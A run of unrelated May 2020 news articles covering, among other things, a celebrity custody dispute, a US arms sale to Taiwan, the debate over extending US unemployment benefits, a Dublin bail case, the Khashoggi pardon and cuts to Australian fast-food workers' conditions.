MS ORTAGUS: Great. And I think we're at the end of our queue for questions  sorry about that, guys  and thanks so much, everyone. And we'll be in touch soon. Thank you.

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Jaime King's representative has responded to claims made by her estranged husband Kyle Newman, that she is battling an 'out of control' opioid addiction.

Newman is asking a judge for sole physical custody of their two sons amid their increasingly ugly divorce, and claims the Ocean's 8 actress has a drug and alcohol addiction, TMZ reported Friday.

However, a rep for the actress hit back, telling PEOPLE: 'This is another vicious, failed attempt of Kyle to continue his abuse of Jaime and manipulate the court system.'

Response: Jaime King responds to estranged husband Kyle Newman's claims she is battling an 'opioid addiction'... as her rep calls it a 'vicious attempt to continue abuse'

'Today Kyle was denied all requests for emergency orders and the judge granted Jaime shared legal custody of their two children,' adding: 'The temporary domestic violence restraining order remains in place to protect Jaime.'

An emergency hearing was requested by Newman on Friday where he asked the judge to grant him custody of their sons; James, six and Leo, four.

The 41-year-old actress filed for divorce on Monday and requested a temporary restraining order against Newman, 44, after 12 years of marriage.

In court documents obtained by TMZ Newman claims King 'spent the last decade high' and will not get help for her opioid addictions.

Help: Newman says he and 14 of Jaime's friends staged an intervention in January and gave her an ultimatum to get treatment 'or the kids and I need to leave for their own safety'

The documents detail the events of January 12 when he claims he and 14 of Jaime's friends staged an intervention, asking her to get help for her issues.

Newman claims he gave her an ultimatum, get treatment 'or the kids and I need to leave for their own safety.'

According to Newman, the actress entered a facility in Utah but didn't stay long because she tried to check-in while carrying some Adderall and Clonazepam pills.

Furthermore, Newman says King has only seen the boys for three days over the last two months. He has been quarantining in Pennsylvania with their sons while King has stayed back in Los Angeles.

He says he was blindsided by the divorce filing and says that earlier this month they were talking through plans to divorce when he says King started accusing him of 'stealing' their kids, despite her 'insisting' he take the kids to Pennsylvania.

Newman claims that King became angry and 'threatened to ruin him'.

An emergency hearing was requested by Newman on Friday where he asked the judge to grant him custody of their sons; James, six and Leo, four. The couple are seen here in 2015

In court documents obtained by TMZ Newman claims King 'spent the last decade high' and will not get help for her opioid addictions

On Friday, Newman asked the judge for sole physical custody, shared legal custody and according to TMZ also requested his estranged wife move out of their LA home so he can live their with the children.

The judge rejected Newman's emergency request for custody and reportedly instructed the duo to work it out at a later court date.

The Barely Lethal director has also reportedly submitted declarations from two nannies and one of Jaime's former assistants that corroborate Newman's claims, they say the actress has an opioid addiction and has put their children in danger by - 'among other things' - driving with them while under the influence.

King battled a heroin addiction when she was a teenager and previously admitted she got into drugs when she started modeling at 14.

She was shocked into getting treatment in 1997 after her Italian photographer boyfriend Davide Sorrenti - famous for glamorizing heroin chic in the 1990s - died of a kidney ailment reportedly caused by excessive heroin use.

Newman has been quarantining in Pennsylvania with their sons and claims King has only seen them for three days over the last two months

Dailymail.com has contacted King's rep for comment.

This comes after it was revealed the actress is hoping they can reach a 'private resolution' as they deal with their messy divorce.

The actress, 41, filed a divorce petition on Monday, also requesting a temporary domestic violence restraining order and making an emergency motion related to child custody and visitation at the same time.

However, the judge ruled that the boys can stay with Newman for now.

King reportedly wants to avoid any more legal proceedings to make sure personal lives stay out of the spotlight, according to an insider who spoke to People.

Newman says he was blindsided by the divorce filing and restraining order Jaime filed on Monday.

Personal business: Earlier this week it was reported Jaime wants a 'private resolution' with Kyle, hoping to avoid any more legal action for the sake of their children

'Jaime was granted her request for a temporary domestic violence restraining order against Kyle from being near her or contacting her and is hopeful for a private and peaceful resolution without further court proceedings, which would be best for their children,' the source explained.

'Jaime strongly believes that their children's lives should not be discussed in the press.'

The star was granted the temporary restraining order until a hearing June 8th, but her filing for an emergency motion related to child custody and visitation was 'denied without prejudice,' according to People.

Newman said he was 'pleased' with the outcome in a statement issued via his representatives Tuesday.

The director's spokesperson told TMZ: 'Kyle was deeply saddened by Jaimes attempt to obtain court orders based solely on false claims without providing him any opportunity to respond.

'As a result, he was extremely pleased that the judge nevertheless permitted their children to remain in his care.'

At odds: The actress, 41, filed a divorce petition two days ago, also requesting a temporary domestic violence restraining order and making an emergency motion related to child custody and visitation at the same time. The judge denied the request for custody

A King insider corrected his characterization, telling People he 'was not granted any type of custody of the children by the court' and 'the judge simply took "no action" in regards to custody until such time as a hearing with notice to Kyle takes place.'

Newman's statement went on to say: 'As Kyle continues to solo parent, as he has done throughout this pandemic, he remains entirely focused on putting the childrens stability and welfare first.

'Kyle wants nothing but the best for his whole family and hopes that Jaime can find the peace and help she needs.'

King, 41, is reportedly 'distraught' over the entire situation.

Upset: King, 41, is reportedly 'distraught' over the entire situation. She's seen in December 2019 above

News of King's filing came hours early on Monday, according to TMZ.

King has been married to Newman, 44, since 2007 after meeting on his film Fanboys, and together they share sons James, six, and Leo, four.

The couple's marriage had come under scrutiny lately after Jaime was seen out without her wedding band.

The duo were reportedly quarantining apart in recent days, with Jaime in California and Kyle in Pennsylvania with their children, according to Life & Style.

Split: The couple has been married for 12 years before the split

Jaime and Kyle are 'taking some time apart to focus on themselves,' a source told the site.

'He's [Kyle] been staying with his family for months and is leaning on them for support,' the source added.

The couple had an instant connection that blew Jaime away.

'I don't know why, but some part of me was instantly connected to him, and I loved him so much,' Jaime told InStyle Weddings. 'It was intense. I never thought that would happen to me.'

As they were: Jaime has been married to Kyle since 2007 after meeting on his film Fanboys, and together they share sons James, six, and Leo, four (pictured 2019)

Family life: The couple with their two sons at the farmers' market in West Hollywood in 2019

They moved in together three months after first meeting, and married in November 2007 at the place they had their first date, the Greystone Park and Manor in Los Angeles.

The couple endured several trials over the course of their nearly 13 year long marriage.

Jaime was in Beverly Hills in 2018 when a man jumped onto her car with her son James inside, wrecking the windshield and leaving the pair shaken.

'I've had five miscarriages': Jaime has also been open about her struggles to have a family (pictured 2018)

The man, Paul Francis Floyd, was jailed for one year as a result of the attack, and was again sentenced to over four years in prison in 2019 after allegedly sending Jaime threats and explicit images following his initial release.

Jaime has also been open about her own fertility struggles.

The actress revealed she had suffered five miscarriages and was even diagnosed with polycystic ovary syndrome and endometriosis before finally having her first child.

'I've had five miscarriages, gone through five rounds of IVF and 26 rounds of IUI,' she told People in 2015. 'I was in severe pain all the time, emotionally and physically.'

Jaime went through five years of fertility treatments but eventually wound up getting pregnant naturally.

The couple welcomed their son Leo in 2015, but Jaime learned he had a heart defect when she was still pregnant.

The child was diagnosed with Transposition of the Great Arteries when he was 20 weeks old, and subsequently underwent major heart surgery.

No ring: King pictured without her wedding ring on in September 2019

Describing the ordeal, she told People, 'I was wheel-chaired to him every three hours, so I could breastfeed him and take care of him before he went into this huge surgery. It was a terrifying experience.'

Adding: 'But thank God for the medicine that we have now ... I knew how traumatic the experience was, how much post-traumatic stress disorder I had afterwards, and the trauma that I was experiencing before it. It's because I didn't know anybody that had gone through it and I didn't have people to talk to.

'I have a voice and I want to use that voice on behalf of my son - and I know that my son would want that. I've gotten thousands of letters from people and now I have a real community of people to talk to.'

Missing accessory: King wasn't wearing her ring in January 2020
US torpedo sales to Taiwan island 'useless' against Chinese mainland military: expert

Global Times

By Liu Xuanzun Source:Global Times Published: 2020/5/21 19:48:40

The US latest plan to sell arms to the island of Taiwan of 18 torpedoes is overpriced and cannot make any difference in a potential military conflict between the island and the Chinese mainland, and sent a wrong signal to Taiwan secessionists on the day of regional leader Tsai Ing-wen's inaugural speech, mainland military experts said on Thursday.

The Chinese side is firmly opposed to the US plan to sell arms to Taiwan and has lodged stern representations with the US side, Chinese Foreign Ministry Spokesperson Zhao Lijian said at a regular press conference on Thursday.

Zhao urged the US to abide by the one-China principle, and the three China-US joint communiques, cancel the plan of arms sale to Taiwan and end its military links with the island before it causes more harm to China-US ties and peace and stability across the Taiwan Straits.

Zhao and the experts' statements came after the US State Department approved the sale of 18 MK-48 Mod6 Advanced Technology Heavy Weight Torpedoes and related equipment for an estimated $180 million to the island of Taiwan, Reuters reported on Thursday, citing a Wednesday statement by the US Defense Security Cooperation Agency.

It aims to serve US national, economic and security interests by supporting Taiwan's "continuing efforts to modernize its armed forces and to maintain a credible defensive capability," the report cited the agency as saying.

This type of torpedo is one of the most advanced heavyweight torpedoes in the world. It will likely be used on the Taiwan military's conventional submarines, and will attack hostile submarines or surface vessels, Wei Dongxu, a Beijing-based military expert, told the Global Times on Thursday.

While the powerful US-made torpedoes could become a threat to warships of the Chinese People's Liberation Army (PLA), the Taiwan military's submarines are outdated and can easily be spotted and destroyed by the PLA, leaving them with no chance to use the torpedoes, Wei said, noting the arms sales will not make a difference to the military strength across the Straits.

According to publicly available information, the cost of each MK-48 is $3.5 million. However in the latest sale, each torpedo was priced at $10 million.

Even taking the cost of related equipment into account, this is a far higher price, showing that Taiwan is paying protection money to the US, and the US arms company will make a huge amount of unreasonable profit from this potential deal, analysts said.

The announcement of the sale came on the same day as the inaugural speech of Taiwan regional leader Tsai Ing-wen. Tsai said in her speech that the island is seeking to bolster asymmetrical capabilities in "national defense reforms" to resist the will to reunite with the mainland.

Wei said the announcement of the US arms sale at this time is meant to lend support to Taiwan secessionists, and the US is also hoping to have the island pin down the Chinese mainland's military capability, while bringing profits to American arms dealers.

This type of torpedo is a very aggressive weapon, and the US is wrongly encouraging Taiwan to use offensive weapons and attack the PLA, Wei said.

This is not the first time the US has sold MK-48 torpedoes to Taiwan. In 2017, an arms deal included 46 such torpedoes worth $250 million, reports said.

In July 2019, the US approved a possible $2.2 billion arms sale to the island of Taiwan, which included 108 M1A2T Abrams tanks and 250 Stinger missiles.

The Chinese mainland reacted to this US arms sale with large-scale military drills on the southeast coast near the island of Taiwan.

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WASHINGTON - The Trump administration, top Republicans and powerful corporate lobbyists mounted fresh opposition Thursday to extending enhanced unemployment benefits to the growing number of Americans who are now out of work, raising the prospect of significant cuts to their weekly checks unless lawmakers act by the end of July.

The latest round of threats came hours after U.S. government released dour new jobless figures showing an additional 2.4 million Americans sought unemployment aid just last week, further compounding an economic crisis that already rivals the Great Depression in its severity. Over the span of nine weeks, more than 38 million Americans have filed unemployment claims across the country because of the impact of the coronavirus pandemic.

In March, Congress passed a law that gave people filing for unemployment benefits an additional $600 each week until July. The debate about whether to extent those benefits this summer have touched off fierce debate in Washington over the extent to which continued aid is necessary to stimulate a sagging economy.

Some White House officials and Republicans believe the extra payments are creating a disincentive for people to return to the workforce, potentially holding back the economic recovery. But so far there is no consensus over how to proceed, with some calling for phasing out the benefits entirely and others supporting a one-time payment that could encourage Americans to return to work.

"In certain cases, we're actually paying people more than they made so we have to fix that," Treasury Secretary Steven Mnuchin said in an interview with The Hill newspaper.

Senate GOP Leader Mitch McConnell blasted the expanded benefits as a "crazy policy" in a private meeting with lawmakers Wednesday, according to a person familiar with the remarks. The party's position is backed by the U.S. Chamber of Commerce, which on Thursday joined Republicans in arguing the extra payments might deter people from returning to work.

The renewed Republican opposition has incensed some congressional Democrats, who instead have sought to maintain and augment federal unemployment aid. During the Great Recession, lawmakers from both parties extended expanded unemployment benefits because so many Americans struggled to find work, particularly when long-term unemployment became a growing problem. The unemployment rate in April hit 14.7 percent, higher than any point during the Great Recession, suggesting the unemployment benefit challenges could prove even more complicated this time.

Democrats argue along with a stable of economists that the expanded jobless benefits are critical at a time when Americans have lost their jobs through no fault of their own - and desperately need the money to pay their bills and protect their homes.

"The worst thing Republicans can do to the economy and American families is to allow supercharged unemployment benefits to expire," said Sen. Ron Wyden, D-Ore.

The White House declined to comment for this story. On Wednesday, White House press secretary Kayleigh McEnany said at a news briefing that the president would not "rush forward with spending trillions more dollars in taxpayer money."

Spokespeople for Mnuchin and McConnell did not immediately respond to requests for comment.

For now, the new unemployment figures released Thursday further illustrate the precipitous economic decline caused by the coronavirus outbreak, which has shuttered many businesses nationwide. The impact on the labor market has been swift and severe, and it's unclear how many newly unemployed will be able to quickly return to their old jobs.

Some Americans had struggled for weeks to obtain the benefits after a flood of applications overwhelmed aging or neglected computer systems in states including Florida, New York and Maryland. These and other states later made immense progress in reducing their backlogs, though delays still remain. More than 200,000 out-of-work Americans are in line for payments in Florida, state data show, while the New York backlog stands at about 44,000, it reported Wednesday. About 7,000 claims had been pending review there for roughly a month.

"The economic need is not going away," said Martha Gimbel, a labor economist at Schmidt Futures. "The fact that we are two months into this, and we're still getting multimillion claims numbers, speaks to how deep and intense the economic pain is right now."

The threat of a protracted downturn prompted Jerome Powell, chair of the Federal Reserve Board, to warn that Congress may need to authorize additional stimulus during a hearing with the Senate Banking Committee on Tuesday. Trump and some of his top aides, however, have articulated a contrary view, insisting that business is set to rebound - and jobs will return - much more quickly than experts envision. "We're opening up; the states are opening up," Trump affirmed again on Tuesday. "It's a transition to greatness."

In response to the coronavirus, lawmakers in March extended unemployment support for an additional 13 weeks while granting new benefits to workers otherwise ineligible for jobless aid. That includes self-employed and so-called gig economy laborers, including those who drive for companies such as Uber. But the centerpiece of lawmakers' efforts had been the additional $600-per-week in payments they authorized for out-of-work Americans until the end of July. Mnuchin reached the agreement with Democrats to include payments of that amount, even though some Senate Republicans immediately complained that the payments would be too high.

The heightened unemployment benefits had been designed to replace workers' wages, unlike unemployment in normal times, which often only covers a small fraction of what people earn while they have a job. "They feel like they have some breathing room," said Michele Evermore, a senior policy analyst at the National Employment Law Project. "For them to have enough money to know they can stock up on groceries, and finally get caught up on bills, and know their housing is okay - it's a lifeline."

Special Investigation 147 NY dams are 'unsound,' potentially dangerous Thousands of dams have not been inspected in over 20 years.

But business groups have balked at the payments, fearing they are too high and making it less likely that Americans will quickly look to return to work.

Two-thirds of unemployed workers who are receiving benefits are earning more than they were taking home previously while on the job, according to a May analysis from the University of Chicago's Becker Friedman Institute for Economics. Conservative groups and congressional Republicans have touted the study in recent days, while anecdotally, companies say they're having a hard time persuading workers to return to their old jobs - even though some laborers say their reluctance is the result of unaddressed safety concerns.

"It absolutely makes sense in this current health pandemic, when businesses are forced to close their doors, to provide a higher level of benefit," said Rachel Greszler, a research fellow who focuses on budget issues for the Heritage Foundation. But, she said, the Cares Act program "introduces a lot of inequities and perverse incentives that damage the economy."

Neil Bradley, executive vice president of the U.S. Chamber of Commerce, told reporters on a conference call Thursday that the business lobby opposes continuing the $600-per-week additional unemployment benefit, which he described as an "across-the-board bonus." Bradley said that this enhanced benefit provides more income for many workers than their jobs did.

With an eye on the July deadline, Democrats have put forward a slew of proposals to bulk up unemployment insurance. Last week, House Democrats approved a $3 trillion coronavirus relief bill that would authorize enhanced unemployment benefits until the end of the year, arguing such payments are critical toward keeping hard-hit Americans financially afloat.

But top congressional Republicans instead have signaled support for paring back these benefits, including during a meeting on Tuesday attended by Vice President Mike Pence along with Mnuchin, McConnell and House Minority Leader Kevin McCarthy, R-Calif., according to a person familiar with the matter who spoke on the condition of anonymity to discuss the private conversations.

Talks remain in flux.

"On a lot of this stuff there isn't a real consensus yet that's formed because some of these programs are just delivering, and we're kind of getting feedback on how they're working so I think it's going to take a little while," said Senate Majority Whip John Thune, R-S.D., on Thursday.

Some Senate Republicans, however, publicly maintain they are unified in their opposition to extending the $600 unemployment benefit, said Sen. Rick Scott, R-Fla., who said he called the president around the time of the passage of the Cares Act to object to the provision.

"I don't know of anybody that's not on board," he said. "The government is competing with businesses for workers, and that's the craziest idea ever. . . . We can't hurt our ability to reopen the economy."

Several Senate Republican staffers privately have told advisers off Capitol Hill that they expect the GOP to accept some extension of the unemployment benefits increase, despite the caucus's opposition to the expansion, according to two people familiar with the private conversations. They are debating a number of different scenarios, including a one-time return-to-work bonus and approving a smaller federal subsidy to the benefits that comes in lower than $600.
BELGRADE (Reuters) - Armed Serbian soldiers are now guarding a migrant camp on the border with Croatia in an attempt to prevent the migrants from trying to cross into the European Union.

The camp in the northern Serbian town of Sid, one of three in the area, is home to 239 migrants. They are each allowed to leave the camp for 30 minutes a day with a written permit stating the reason and the exact time that they left.

The decision to station soldiers at the camp came after Serbian President Aleksandar Vucic last Friday held talks with Prime Minister Victor Orban of neighbouring Hungary, one of the most vociferous opponents of illegal migration into Europe.

The presence of the soldiers, however, seems unlikely to deter migrants from continuing their attempts to cross the border into Croatia, which unlike Serbia is an EU member state, on their way westwards to wealthier nations such as Germany.

"I will try to cross again," said Ali Reza, an Iranian migrant who has already been stuck for two years in Serbia and has so far made 10 attempts to cross the border, each time being turned back by police.

"I want to go to Germany. Serbia is a beautiful country, but it does not have money," Reza told Reuters.

The number of illegal migrants following the Balkan route to western Europe has fallen sharply since 2015-16, when around a million people are believed to have made the journey. European countries have tightened border controls since then.

However, some 9,000 migrants, mainly from Afghanistan, Syria and Iran, are still stuck in Serbia, the vast majority in camps like the one at Sid. Every day the migrants attempt to cross illegally into Croatia or Hungary en route for western Europe.

(Reporting by Ivana Sekularac; Editing by Gareth Jones)
Tourists Have to Present a Covid-19 Test Result Before Entering Georgia - GeorgianJournal
Lorraine Wolfe always had an excuse, the judge said

A woman facing drugs and assault charges showed a court a video of herself asleep in her bed to try to prove she had not broken a bail curfew.

Lorraine Wolfe (39) insisted she was home when a garda called to check on her, and produced a video which she said a brother took of her sleeping at the time.

Alleging she had breached bail conditions, a garda said the footage would have been "laughed out of court" if it had been brought in by the prosecution.

Judge Grainne Malone said she had "huge doubts" over the veracity of the video and imposed a stricter curfew but allowed Ms Wolfe to remain on bail.

The accused, from Blackhorse Downs, Cabra, is charged with a series of separate offences including possession of heroin for sale or supply, theft and assaulting a woman at Tesco on Prussia Street.

She denies all charges, which date back several years.

Dublin District Court heard under conditions, she had to observe an 11pm to 7am curfew at her home.

Sick

Garda Sergeant John O'Donovan said he called to the house at 11.45pm on May 9 and was told that Wolfe was sick in hospital.

Another garda said he called at 12.30am on May 13, spoke to her father and was at the door for two minutes but the accused never presented herself.

Ms Wolfe produced a prescription in court in relation to the first alleged breach.

On the second, she said the garda did not give her father enough time to get her. She showed the court a video of her in bed with the time on a clock.

"If gardai presented that video as evidence it would be laughed out of court," Sgt O'Donovan said.

In a third alleged bail breach, the court heard she was 40 metres from her house but said there had been a family dispute.

The judge changed the curfew to 9pm-7am and adjourned all cases for hearing next week.

She said the accused "always has an excuse" but she noted Ms Wolfe had turned up in court and she was concerned the trial would not go ahead if she was remanded in custody.
A community has been left in shock and sadness today after the death of a popular woman in a house fire in Co Meath yesterday evening.

The woman in her 40s died in the fire which broke out at a house in the Ros na Ri estate on the Commons Road in Navan at 6pm.

Three units of the fire service in Navan and one unit from Kells battled the blaze which is believed to have taken hold quickly.

Investigations are ongoing.

In a statement gardai said: "Gardai attended the scene of a house fire in Navan, Co Meath on Thursday 21 May, 2020. The fire is reported to have broken out at approximately 6pm.

"Fire services attended the scene and extinguished the fire. One woman, aged in her 40s, was discovered deceased in the house and her body was removed to the mortuary at Our Lady's Hospital in Navan."

The deceased has been named locally this morning as Siobhan Gaughan who it's understood shared the house with her sister and her nephew.

It is reported Siobhan's sister and nephew managed to escape uninjured while the deceased was in a bedroom upstairs

It is understood that neighbours tried to gain access to the house but could not get upstairs due the spread of the flames.

It is the second person from the Navan area to be killed in a house fire in recent months.

Nearby Clogherboy residents were left in shock by the death of John Boy Power who was one of two people who died in a blaze at a home in Kells in March.

Navan Sinn Fein Cllr Eddie Fennessy said people in the town were only waking up to the tragedy this morning.

"We are all deeply saddened here by this terrible tragedy," he said.

"Siobhan is the second person from the Commons Road community to die tragically in a house fire this year.

"I extend my deepest condolences to her family and friends. May she rest in peace."

Navan Mayor Cllr Tommy Reilly also expressed his sympathies on the terrible tragedy, saying: "the sense of shock in the town today is just palpable from anyone who is out and about.

"I think I can say the whole town stands with the family in grief this morning."
Global leaders in the research, manufacturing and purification of high-quality health ingredients, Kyowa Hakko USA took the initiative to provide support for NYC health care workers on the frontlines while also partnering with ingredient customer on a unique program.

Kyowa Hakko USA, whose headquarters are located in New York City, worked to raise funds and match a considerable donation for NYC Health + Hospitals, the largest public health care system in the nation with more than 42,000 employees on the frontlines caring for New Yorkers in Emergency Rooms, ICUs, community health centers and nursing homes. Donations contributed to meals, groceries, supplies, and transportation services to help support doctors, nurses and other health care workers throughout the COVID-19 pandemic.

During this time of crisis and uncertainty, supporting our local NYC health care workers who are laboring tirelessly around the clock is of utmost priority for us, comments Leo Cullen, President of Kyowa Hakko U.S.A. Inc., At Kyowa Hakko, we strive to contribute to the optimal health and well-being of people around the world, and we hope our response efforts will help further this mission as we all grapple with this crisis, he remarks.

Kyowa Hakko also made moves to partner with one of their customers to support an initiative dedicated to help fitness professionals, who have been hard-hit by nationwide shutdowns of gyms and training facilities, generate additional income throughout this trying time.

Just as its imperative for us to support our health care workers, its also essential for us to support our customers with their COVID-19 response initiatives, says Cullen We hope that our efforts to help get this campaign started will foster a positive impact for our nations fitness professionals whose jobs have been deeply affected by COVID-19, he adds, When key players in the health and wellness industry can work together, real hope for optimism and change emerges. At Kyowa Hakko, were proud to be a part of that hope during this challenging time.

Media interested in setting up an interview with a representative from Kyowa Hakko, please contact Sara White at sara@adinnyc.com or 914.621.1323.

About Kyowa Hakko USA:

Kyowa Hakko USA is the North & South American office for Kyowa Hakko Bio Co. Ltd., an international health ingredients manufacturer and world leader in the development,

manufacturing, and marketing of pharmaceuticals, nutraceuticals and food products. For more information visit Kyowa-USA.com.
HONOR plans to utilize MediaTeks 5G SoCs in its upcoming smartphones. That is something the President of HONORs Business unit, Zhao Ming, said.

He said that after the HONOR X10 launch conference quite recently. He stated that HONOR has a really good relationship with MediaTek, and will be looking to strengthen that relationship moving forward.

HONOR plans to utilize MediaTeks 5G SoCs, according to the companys executive

The HONOR X10, which got announced recently, utilizes Huaweis Kirin 820 SoC. HONOR definitely plans to use MediaTeks 5G SoCs in the future, though it will also utilize its Kirin chips.

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The latest round of the US sanctions made life even more difficult for Huawei. The US has basically blocked global chip makers from shipping to Huawei (that includes HONOR, as its owned by Huawei), and that includes TSMC.

TSMC has been making Huaweis Kirin processors, and this change could hit the company hard. Huawei has turned to SMIC for one of its new chips, but a mid-range one.

Its unlikely that SMIC can handle Huaweis demand, and make the companys premium offerings. The companys upcoming Kirin 1000 SoC will probably be a 5nm chip, and this change has brought it in question.

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That whole situation may cause Huawei to seek help from other companies when it comes to processors. The companys flagship Kirin chips are great, though, and Huawei will hopefully find a way to continue making them.

MediaTek will be one of the companys partners, it seems, at least when it comes to HONOR. MediaTeks newer Dimensity chips are quite good, at least based on sheer numbers, but well see how they perform in real life.

The Dimensity 1000+ is the most powerful processor MediaTek has to offer

MediaTek released several Dimensity chips this year. The MediaTek Dimensity 1000L, and 1000+ have been announced, along with the Dimensity 800.

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The Dimensity 1000+ is the latest and greatest MediaTek processor. The Dimensity 800 and 1000+ may be the chips that HONOR ends up utilizing this year, but well see.

Huawei has been using its Kirin chips for a long time now. Theyre proven to be great both on paper and in practice. Huawei has invested a lot in its processors, and this whole situation with the US is ruining the companys plans.

As most of you know by now, Huawei is also not allowed to pre-installed Google services on its smartphones at this point. Many people are hoping that will change at some point, though.
Graduation from college usually means commencement, parties and gifts. This year, it meant classes abruptly ending and stay-at-home orders lasting more than two months.

The COVID-19 pandemic has created what some have called the worst economic downturn of America since the Great Depression. According to The Washington Post, 38.6 million Americans have filed for employment since March 22.

With many companies temporarily laying off or firing their employees, new graduates are having a hard time finding employment. Some that were fortunate enough to receive internships or jobs have been told their offers are now postponed or completely revoked.

Jasmine Sizemore, 23, graduated from the University of Michigan-Dearborn in April with a degree in English and Linguistics. She was the Student Life Editor at the schools newspaper, the Michigan Journal, and worked in the schools College of Arts, Science and Letters advising office. Both positions ended when she graduated.

With a B plus-average Sizemore was expecting to find a full-time job after graduation in copy editing.

I have applied to well over 20 jobs in the past four months, Sizemore said.

She has broadened her search to include office assistant positions in an attempt to find employment sooner.

Sara Kellner, a spring Central Michigan University graduate, worked her way up to Editor-in-Chief at her school newspaper and graduated with a 3.62 GPA. Double-majoring in Journalism and Communication, she hoped to one day become a college journalism professor.

Kellner had an internship she planned to start this summer, but it was cancelled due to the pandemic. She said that she had the option to graduate last semester, but adding a second major added one more semester to her undergraduate career.

Im thinking about how much better shape I wouldve been in if I had graduated in December before the pandemic hit, Kellner said.

For now, Kellner is writing for her local newspaper. If she doesnt find full-time employment before the winter, she plans on applying to graduate school. While she hasnt felt the need to apply for unemployment yet, she finds comfort in knowing that freelancers and gig workers now qualify for unemployment.

As of May 21, all graduates above the age of 18 can apply for unemployment until they find work.
Salah Khashoggi releases statement on Twitter as activists hit back saying murder case is not familial but political.

The son of murdered Saudi journalist Jamal Khashoggi has released a statement via Twitter forgiving his fathers killers.

In the statement, posted on Friday, Salah Khashoggi said his family pardons those who took the reporters life in 2018 when he visited Saudi Arabias consulate in Istanbul.

In this blessed night of the blessed month (of Ramadan) we remember Gods saying: If a person forgives and makes reconciliation, his reward is due from Allah.

Therefore, we the sons of the Martyr Jamal Khashoggi announce that we pardon those who killed our father, seeking reward God almighty he added.

Khashoggi was last seen at the Saudi consulate where he had gone to get the necessary documents for his wedding. His body was dismembered and removed from the building and his remains have not been found.

Under Islamic law, death sentences in Saudi Arabia can be commuted if the victims family pardons the perpetrator, but it is not clear whether that will happen in this case.

Hatice Cengiz, Khashoggis fiance, wrote on Twitter on Friday that nobody has the right to pardon the killers.

Jamal Khashoggi has become an international symbol bigger than any of us, admired and loved. His ambush and heinous murder does not have a statue of limitations and no one has the right to pardon his killers.

I and others will not stop until we get #JusticeForJamal (1/2) pic.twitter.com/hX0kFRPNvr  Hatice Cengiz /  (@mercan_resifi) May 22, 2020

Yahya Assiri, the head of UK-based Saudi rights group ALQST, echoed Cengizs reaction.

The murder of Jamal Khashoggi is not a family case, it is not a mistake in a normal context! he wrote on Twitter, saying Khashoggis murder was not due to a personal disagreement.

The authorities killed him because of his political work, Assiri said. His case is political, so keep silent!

Assiri shared a statement signed by dozens of other Saudi activists and politicians, refuting what they called the repackaging of Khashoggis murder by the Saudi authorities into a familial one.

We reject the use of Saudi authorities of some of Khashoggis family members to whitewash the countrys judiciary and dwarfing Khashoggis case, the statement said, adding that Khashoggis family or at least some members of it did not have their full freedom to say what they want.

Secondly, and more importantly, the fact is that the issue does not concern Jamal Khashoggis family only, but rather is an issue of public opinion as Khashoggi was a political writer who criticised the political system and was killed for that.

The murder caused a global uproar. Some Western governments, as well as the CIA, said they believed Crown Prince Mohammed bin Salman (MBS) ordered the killing.

Saudi officials say he had no role, although in September 2019 MBS indicated some personal accountability, saying the grisly killing happened under my watch.

Parody of justice

A UN expert who completed a six-month investigation into Khashoggis murder called Salah Khashoggis decision to forgive his fathers killers just another step in Saudi Arabias parody of justice.

Although shocking, the announcement was anticipated, Agnes Callamard, the UN special rapporteur on extrajudicial, summary or arbitrary executions, said on Friday.

The independent rights expert, who does not speak for the UN but who reports her findings to it, maintained that the Saudi authorities were playing out what they hope will be the final act in their well-rehearsed parody of justice.

They were doing so in front of an international community far too ready to be deceived she said in a statement.

Saudi Arabia sentenced five people to death and three to jail over Khashoggis murder last December. The suspects were put on trial in secretive proceedings in the capital, Riyadh.

The trials were condemned by the United Nations and rights groups. Callamard accused Saudi Arabia of making a mockery of justice by allowing the masterminds of the 2018 killing to go free.

However, Salah Khashoggi said of the December verdict: It has been fair to us and that justice has been achieved.
The unions have again demonstrated their utterly corporatised character by backing cuts to penalty rates and conditions for tens of thousands of lowly-paid workers on the pretext of the economic disruption caused by the coronavirus pandemic.

On Monday, the Fair Work Commission, the pro-business industrial tribunal established by the last federal Labor government with the support of the unions, upheld an application by McDonalds and other chains for the elimination of overtime penalties for part-time workers.

The changes allow employers to cut the regular shifts of permanent part-time employees down to a minimum of eight hours per week. The workers can then be given additional hours without receiving the penalty rates that they were previously entitled to.

Companies also will be able to demand that workers take annual leave if they claim that there is a downturn in business. Workers will be banned from unreasonably rejecting this request that they use one of their few, meagre entitlements to reduce the wages bill of the multi-billion dollar corporations.

The decision further erodes job security, in an industry that is already primarily staffed by casual employees receiving poverty-level wages. It is aimed at creating an entirely on demand workforce, that can be forced to labour without any entitlements or conditions, based on fluctuations in customer numbers and revenue.

The changes cover the Fast Food Industry Award, which governs the pay and conditions of some 214,000 workers, including 107,000 at McDonalds alone.

The application was brought by the Australian Industry Group (AIG) on behalf of a number of businesses in the sector. It is part of a broader campaign being waged by the corporate lobby for the pandemic to be used to implement a further pro-business restructuring of the economy, which it has been demanding for many years.

In a statement on Tuesday, AIG called for rules relating to sick and annual leave, along with redundancy and public holidays, to be removed from federal award agreements mandating workplace conditions. This, it said, would allow for greater individual flexibility arrangements, i.e., for employers to decide not to pay their staff any entitlements.

The Australian Chamber of Industry and Commerce has also presented the government with a series of proposals, including for employers to be allowed to stagger start and finish times without paying overtime and to be able to stand-down employees for a further six months after the governments JobKeeper wage subsidy ends in September.

In outlining the chambers demands, its chief executive James Pearson wrote that: The COVID-19 pandemic has shown that unions and employer groups are able to come together in times of crisis

Pearson was referencing the central role of the unions in enforcing a raft of cuts throughout the pandemic. This weeks attack on fast food workers was actively campaigned for by the Australian Council of Trade Unions (ACTU), the national union umbrella organisation, along with the Shop, Distributive and Allied Employees Association (SDA), the largest union in the sector.

Both fraudulently claimed that trade-offs were necessary to ensure job security amid the crisis triggered by COVID-19.

In reality, the changes do not guarantee a single permanent position. They have essentially transformed the minority of permanent part-time workers in the sector into casual employees who are not even entitled to casual rates nor to overtime pay. Permanent staff who are not managers are frequently paid between $17 and $19 per hour, a figure which is lower than the hourly rate for casuals, due to supposed job security and entitlements. However whatever limited job security they previously had has now been done away with by the Fair Work Commission.

The majority of staff, who are casuals, can continue to be hired and fired at will. There are roughly 17,000 employees in restaurants owned and managed by McDonalds, as opposed to those that are controlled by franchisees. Of those, at least 80 percent are casuals. They are generally paid around $26 per hour and have no guarantee of hours or ongoing employment.

The unions have struck similar deals across a number of industries since the pandemic began. In the first weeks of March, the ACTU and its affiliated unions overhauled agreements covering some three million workers in the hospitality and clerical sectors, providing for sweeping cuts to overtime pay and the removal of restrictions on shift times.

